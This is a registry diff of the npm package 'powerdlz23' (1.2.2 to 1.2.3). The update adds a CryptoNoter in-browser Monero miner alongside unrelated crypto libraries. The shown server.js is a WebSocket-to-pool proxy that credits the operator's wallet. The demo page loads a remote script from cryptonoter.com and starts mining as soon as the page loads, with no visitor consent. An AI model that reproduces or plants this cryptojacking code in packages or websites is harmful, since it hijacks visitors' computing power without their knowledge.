powerdlz23 1.2.2 → 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/pto/CryptoNoter/.gitattributes +2 -0
- package/pto/CryptoNoter/CryptoNight.md +444 -0
- package/pto/CryptoNoter/CryptoNight.txt +364 -0
- package/pto/CryptoNoter/LICENSE +21 -0
- package/pto/CryptoNoter/README.md +178 -0
- package/pto/CryptoNoter/banner +4 -0
- package/pto/CryptoNoter/config.json +8 -0
- package/pto/CryptoNoter/install.sh +60 -0
- package/pto/CryptoNoter/package-lock.json +33 -0
- package/pto/CryptoNoter/package.json +16 -0
- package/pto/CryptoNoter/server.js +225 -0
- package/pto/CryptoNoter/web/demo.html +81 -0
- package/pto/CryptoNoter/web/index.html +1 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js +16891 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js.mem +0 -0
- package/pto/CryptoNoter/web/lib/cryptonight.wasm +0 -0
- package/pto/CryptoNoter/web/processor.js +496 -0
- package/pto/CryptoNoter/web/worker.js +5549 -0
- package/pto/crypto/README.md +1 -0
- package/pto/crypto/aes256cbc/README.md +59 -0
- package/pto/crypto/aes256cbc/aes256cbc.go +172 -0
- package/pto/crypto/aes256cbc/aes256cbc_test.go +105 -0
- package/pto/crypto/aes256cbc/examples_test.go +30 -0
- package/pto/crypto/dh64/README.md +84 -0
- package/pto/crypto/dh64/c/dh64.c +75 -0
- package/pto/crypto/dh64/c/dh64.h +12 -0
- package/pto/crypto/dh64/c/dh64_test.c +30 -0
- package/pto/crypto/dh64/csharp/dh64.cs +77 -0
- package/pto/crypto/dh64/csharp/dh64_test.cs +1074 -0
- package/pto/crypto/dh64/go/dh64.go +72 -0
- package/pto/crypto/dh64/go/dh64_test.go +1064 -0
- package/pto/crypto/mt19937/README.md +30 -0
- package/pto/crypto/mt19937/c/mt19937-64.c +180 -0
- package/pto/crypto/mt19937/c/mt19937-64.h +96 -0
- package/pto/crypto/mt19937/c/mt19937-64.out.txt +401 -0
- package/pto/crypto/mt19937/c/mt19937-64test.c +78 -0
- package/pto/crypto/mt19937/csharp/mt19937.cs +139 -0
- package/pto/crypto/mt19937/csharp/mt19937_test.cs +574 -0
- package/pto/crypto/mt19937/go/COPYING +674 -0
- package/pto/crypto/mt19937/go/README.rst +103 -0
- package/pto/crypto/mt19937/go/doc.go +35 -0
- package/pto/crypto/mt19937/go/example.go +32 -0
- package/pto/crypto/mt19937/go/mt19937.go +149 -0
- package/pto/crypto/mt19937/go/mt19937_test.go +614 -0
- package/pto/crypto/rc4/README.md +14 -0
- package/pto/crypto/rc4/csharp/rc4.cs +119 -0
- package/pto/crypto/rc4/csharp/rc4_echo_client.cs +78 -0
- package/pto/crypto/rc4/go/rc4_echo_client.go +102 -0
- package/pto/crypto/rc4/go/rc4_echo_server.go +110 -0
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "cryptonoter",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"lockfileVersion": 1,
|
|
5
|
+
"requires": true,
|
|
6
|
+
"dependencies": {
|
|
7
|
+
"async-limiter": {
|
|
8
|
+
"version": "1.0.0",
|
|
9
|
+
"resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz",
|
|
10
|
+
"integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg=="
|
|
11
|
+
},
|
|
12
|
+
"safe-buffer": {
|
|
13
|
+
"version": "5.1.1",
|
|
14
|
+
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz",
|
|
15
|
+
"integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg=="
|
|
16
|
+
},
|
|
17
|
+
"ultron": {
|
|
18
|
+
"version": "1.1.0",
|
|
19
|
+
"resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.0.tgz",
|
|
20
|
+
"integrity": "sha1-sHoualQagV/Go0zNRTO67DB8qGQ="
|
|
21
|
+
},
|
|
22
|
+
"ws": {
|
|
23
|
+
"version": "3.2.0",
|
|
24
|
+
"resolved": "https://registry.npmjs.org/ws/-/ws-3.2.0.tgz",
|
|
25
|
+
"integrity": "sha512-hTS3mkXm/j85jTQOIcwVz3yK3up9xHgPtgEhDBOH3G18LDOZmSAG1omJeXejLKJakx+okv8vS1sopgs7rw0kVw==",
|
|
26
|
+
"requires": {
|
|
27
|
+
"async-limiter": "1.0.0",
|
|
28
|
+
"safe-buffer": "5.1.1",
|
|
29
|
+
"ultron": "1.1.0"
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "cryptonoter",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "cryptonoter",
|
|
5
|
+
"repository": "https://cryptonoter.com",
|
|
6
|
+
"main": "server.js",
|
|
7
|
+
"dependencies": {
|
|
8
|
+
"ws": "^3.2.0"
|
|
9
|
+
},
|
|
10
|
+
"devDependencies": {},
|
|
11
|
+
"scripts": {
|
|
12
|
+
"start": "node server.js"
|
|
13
|
+
},
|
|
14
|
+
"author": "cryptonoter",
|
|
15
|
+
"license": "MIT"
|
|
16
|
+
}
|
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* CryptoNoter v1.2
|
|
3
|
+
* In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
|
|
4
|
+
* Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
|
|
5
|
+
*/
|
|
6
|
+
var http = require('http'),
|
|
7
|
+
https = require('https'),
|
|
8
|
+
WebSocket = require("ws"),
|
|
9
|
+
net = require('net'),
|
|
10
|
+
fs = require('fs'),
|
|
11
|
+
crypto = require("crypto");
|
|
12
|
+
|
|
13
|
+
var banner = fs.readFileSync(__dirname + '/banner', 'utf8');
|
|
14
|
+
var conf = fs.readFileSync(__dirname + '/config.json', 'utf8');
|
|
15
|
+
conf = JSON.parse(conf);
|
|
16
|
+
|
|
17
|
+
//ssl support
|
|
18
|
+
const ssl = !!(conf.key && conf.cert);
|
|
19
|
+
|
|
20
|
+
//heroku port
|
|
21
|
+
conf.lport = process.env.PORT || conf.lport;
|
|
22
|
+
conf.domain = process.env.DOMAIN || conf.domain;
|
|
23
|
+
|
|
24
|
+
const stats = (req, res) => {
|
|
25
|
+
res.setHeader('Access-Control-Allow-Origin', '*');
|
|
26
|
+
req.url = (req.url === '/') ? '/index.html' : req.url;
|
|
27
|
+
fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
|
|
28
|
+
if (err) {
|
|
29
|
+
fs.readFile(__dirname + '/web/404.html', (err, buf) => {
|
|
30
|
+
res.end(buf);
|
|
31
|
+
});
|
|
32
|
+
} else {
|
|
33
|
+
if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
|
|
34
|
+
buf = buf.toString().replace(/%CryptoNoter_domain%/g, conf.domain);
|
|
35
|
+
if (req.url.match(/\.js$/)) {
|
|
36
|
+
res.setHeader('content-type', 'application/javascript');
|
|
37
|
+
}
|
|
38
|
+
} else {
|
|
39
|
+
res.setHeader('Content-Type', 'application/octet-stream');
|
|
40
|
+
}
|
|
41
|
+
res.end(buf);
|
|
42
|
+
}
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
//ssl support
|
|
47
|
+
if (ssl) {
|
|
48
|
+
var web = https.createServer({
|
|
49
|
+
key: fs.readFileSync(conf.key),
|
|
50
|
+
cert: fs.readFileSync(conf.cert)
|
|
51
|
+
}, stats)
|
|
52
|
+
} else {
|
|
53
|
+
var web = http.createServer(stats);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Miner Proxy Srv
|
|
57
|
+
var srv = new WebSocket.Server({
|
|
58
|
+
server: web,
|
|
59
|
+
path: "/proxy",
|
|
60
|
+
maxPayload: 256
|
|
61
|
+
});
|
|
62
|
+
srv.on('connection', (ws) => {
|
|
63
|
+
var conn = {
|
|
64
|
+
uid: null,
|
|
65
|
+
pid: crypto.randomBytes(12).toString("hex"),
|
|
66
|
+
workerId: null,
|
|
67
|
+
found: 0,
|
|
68
|
+
accepted: 0,
|
|
69
|
+
ws: ws,
|
|
70
|
+
pl: new net.Socket(),
|
|
71
|
+
}
|
|
72
|
+
var pool = conf.pool.split(':');
|
|
73
|
+
conn.pl.connect(pool[1], pool[0]);
|
|
74
|
+
|
|
75
|
+
// Trans WebSocket to PoolSocket
|
|
76
|
+
function ws2pool(data) {
|
|
77
|
+
var buf;
|
|
78
|
+
data = JSON.parse(data);
|
|
79
|
+
switch (data.type) {
|
|
80
|
+
case 'auth':
|
|
81
|
+
{
|
|
82
|
+
conn.uid = data.params.site_key;
|
|
83
|
+
if (data.params.user) {
|
|
84
|
+
conn.uid += '@' + data.params.user;
|
|
85
|
+
}
|
|
86
|
+
buf = {
|
|
87
|
+
"method": "login",
|
|
88
|
+
"params": {
|
|
89
|
+
"login": conf.addr,
|
|
90
|
+
"pass": conf.pass,
|
|
91
|
+
"agent": "CryptoNoter"
|
|
92
|
+
},
|
|
93
|
+
"id": conn.pid
|
|
94
|
+
}
|
|
95
|
+
buf = JSON.stringify(buf) + '\n';
|
|
96
|
+
conn.pl.write(buf);
|
|
97
|
+
break;
|
|
98
|
+
}
|
|
99
|
+
case 'submit':
|
|
100
|
+
{
|
|
101
|
+
conn.found++;
|
|
102
|
+
buf = {
|
|
103
|
+
"method": "submit",
|
|
104
|
+
"params": {
|
|
105
|
+
"id": conn.workerId,
|
|
106
|
+
"job_id": data.params.job_id,
|
|
107
|
+
"nonce": data.params.nonce,
|
|
108
|
+
"result": data.params.result
|
|
109
|
+
},
|
|
110
|
+
"id": conn.pid
|
|
111
|
+
}
|
|
112
|
+
buf = JSON.stringify(buf) + '\n';
|
|
113
|
+
conn.pl.write(buf);
|
|
114
|
+
break;
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// Trans PoolSocket to WebSocket
|
|
120
|
+
function pool2ws(data) {
|
|
121
|
+
try {
|
|
122
|
+
var buf;
|
|
123
|
+
data = JSON.parse(data);
|
|
124
|
+
if (data.id === conn.pid && data.result) {
|
|
125
|
+
if (data.result.id) {
|
|
126
|
+
conn.workerId = data.result.id;
|
|
127
|
+
buf = {
|
|
128
|
+
"type": "authed",
|
|
129
|
+
"params": {
|
|
130
|
+
"token": "",
|
|
131
|
+
"hashes": conn.accepted
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
buf = JSON.stringify(buf);
|
|
135
|
+
conn.ws.send(buf);
|
|
136
|
+
buf = {
|
|
137
|
+
"type": "job",
|
|
138
|
+
"params": data.result.job
|
|
139
|
+
}
|
|
140
|
+
buf = JSON.stringify(buf);
|
|
141
|
+
conn.ws.send(buf);
|
|
142
|
+
} else if (data.result.status === 'OK') {
|
|
143
|
+
conn.accepted++;
|
|
144
|
+
buf = {
|
|
145
|
+
"type": "hash_accepted",
|
|
146
|
+
"params": {
|
|
147
|
+
"hashes": conn.accepted
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
buf = JSON.stringify(buf);
|
|
151
|
+
conn.ws.send(buf);
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
if (data.id === conn.pid && data.error) {
|
|
155
|
+
if (data.error.code === -1) {
|
|
156
|
+
buf = {
|
|
157
|
+
"type": "banned",
|
|
158
|
+
"params": {
|
|
159
|
+
"banned": conn.pid
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
} else {
|
|
163
|
+
buf = {
|
|
164
|
+
"type": "error",
|
|
165
|
+
"params": {
|
|
166
|
+
"error": data.error.message
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
buf = JSON.stringify(buf);
|
|
171
|
+
conn.ws.send(buf);
|
|
172
|
+
}
|
|
173
|
+
if (data.method === 'job') {
|
|
174
|
+
buf = {
|
|
175
|
+
"type": 'job',
|
|
176
|
+
"params": data.params
|
|
177
|
+
}
|
|
178
|
+
buf = JSON.stringify(buf);
|
|
179
|
+
conn.ws.send(buf);
|
|
180
|
+
}
|
|
181
|
+
} catch (error) { console.warn('[!] Error: '+error.message) }
|
|
182
|
+
}
|
|
183
|
+
conn.ws.on('message', (data) => {
|
|
184
|
+
ws2pool(data);
|
|
185
|
+
console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
|
|
186
|
+
});
|
|
187
|
+
conn.ws.on('error', (data) => {
|
|
188
|
+
console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
|
|
189
|
+
conn.pl.destroy();
|
|
190
|
+
});
|
|
191
|
+
conn.ws.on('close', () => {
|
|
192
|
+
console.log('[!] ' + conn.uid + ' offline.\n');
|
|
193
|
+
conn.pl.destroy();
|
|
194
|
+
});
|
|
195
|
+
conn.pl.on('data', function(data) {
|
|
196
|
+
var linesdata = data;
|
|
197
|
+
var lines = String(linesdata).split("\n");
|
|
198
|
+
if (lines[1].length > 0) {
|
|
199
|
+
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[0] + '\n');
|
|
200
|
+
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[1] + '\n')
|
|
201
|
+
pool2ws(lines[0]);
|
|
202
|
+
pool2ws(lines[1]);
|
|
203
|
+
} else {
|
|
204
|
+
console.log('[<] Response: ' + conn.pid + '\n\n' + data + '\n');
|
|
205
|
+
pool2ws(data);
|
|
206
|
+
}
|
|
207
|
+
});
|
|
208
|
+
conn.pl.on('error', (data) => {
|
|
209
|
+
console.log('PoolSocket ' + data + '\n');
|
|
210
|
+
if (conn.ws.readyState !== 3) {
|
|
211
|
+
conn.ws.close();
|
|
212
|
+
}
|
|
213
|
+
});
|
|
214
|
+
conn.pl.on('close', () => {
|
|
215
|
+
console.log('PoolSocket Closed.\n');
|
|
216
|
+
if (conn.ws.readyState !== 3) {
|
|
217
|
+
conn.ws.close();
|
|
218
|
+
}
|
|
219
|
+
});
|
|
220
|
+
});
|
|
221
|
+
web.listen(conf.lport, conf.lhost, () => {
|
|
222
|
+
console.log(banner);
|
|
223
|
+
console.log(' Listen on : ' + conf.lhost + ':' + conf.lport + '\n Pool Host : ' + conf.pool + '\n Ur Wallet : ' + conf.addr + '\n');
|
|
224
|
+
console.log('----------------------------------------------------------------------------------------\n');
|
|
225
|
+
});
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
|
|
4
|
+
<head>
|
|
5
|
+
<meta charset="UTF-8">
|
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
7
|
+
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
|
8
|
+
<title>CryptoNoter - Javascript Browser XMR Mining Script</title>
|
|
9
|
+
<style>
|
|
10
|
+
th {
|
|
11
|
+
width: 180px;
|
|
12
|
+
}
|
|
13
|
+
</style>
|
|
14
|
+
<script src="https://www.cryptonoter.com/processor.js"></script>
|
|
15
|
+
<script>
|
|
16
|
+
var addr = 'CryptoNoter';
|
|
17
|
+
var miner = new CryptoNoter.Anonymous(addr, {
|
|
18
|
+
throttle: 0.3
|
|
19
|
+
});
|
|
20
|
+
miner.start();
|
|
21
|
+
|
|
22
|
+
// Listen on events
|
|
23
|
+
var found = 0,
|
|
24
|
+
accepted = 0;
|
|
25
|
+
miner.on('found', function () {
|
|
26
|
+
found++;
|
|
27
|
+
document.getElementById("FoundShares").innerHTML = found;
|
|
28
|
+
});
|
|
29
|
+
miner.on('accepted', function () {
|
|
30
|
+
accepted++;
|
|
31
|
+
})
|
|
32
|
+
|
|
33
|
+
// Update stats once per second
|
|
34
|
+
setInterval(function () {
|
|
35
|
+
var idle = parseFloat(location.hash.split('#')[1]) || 0.5;
|
|
36
|
+
var hashesPerSecond = miner.getHashesPerSecond();
|
|
37
|
+
document.getElementById("TotalHashes").innerHTML = miner.getTotalHashes();
|
|
38
|
+
document.getElementById("VerifiedShares").innerHTML = miner.getAcceptedHashes();
|
|
39
|
+
document.getElementById("Hashes").innerHTML = hashesPerSecond;
|
|
40
|
+
miner.setThrottle(idle);
|
|
41
|
+
document.getElementById("Hashes").innerHTML = hashesPerSecond;
|
|
42
|
+
|
|
43
|
+
}, 500);
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
</script>
|
|
47
|
+
</head>
|
|
48
|
+
|
|
49
|
+
<body>
|
|
50
|
+
<table width='930' cellpadding= '5' cellspacing='0'style='margin:0px;font-size:14px;' />
|
|
51
|
+
<tr>
|
|
52
|
+
<td width='150' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
53
|
+
<b>Hash Rate / Sec</b>
|
|
54
|
+
</td>
|
|
55
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
56
|
+
<b>Total Hashes</b>
|
|
57
|
+
</td>
|
|
58
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
59
|
+
<b>Shares Found</b>
|
|
60
|
+
</td>
|
|
61
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
62
|
+
<b>Shares Verfied</b>
|
|
63
|
+
</td>
|
|
64
|
+
</tr>
|
|
65
|
+
<tr>
|
|
66
|
+
<td width='150' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
67
|
+
<div id="Hashes">0</div>
|
|
68
|
+
</td>
|
|
69
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
70
|
+
<div id="TotalHashes">0</div>
|
|
71
|
+
</td>
|
|
72
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
73
|
+
<div id="FoundShares">0</div>
|
|
74
|
+
</td>
|
|
75
|
+
<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
|
|
76
|
+
<div id="VerifiedShares">0</div>
|
|
77
|
+
</td>
|
|
78
|
+
</tr>
|
|
79
|
+
</table>
|
|
80
|
+
</body>
|
|
81
|
+
</html>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|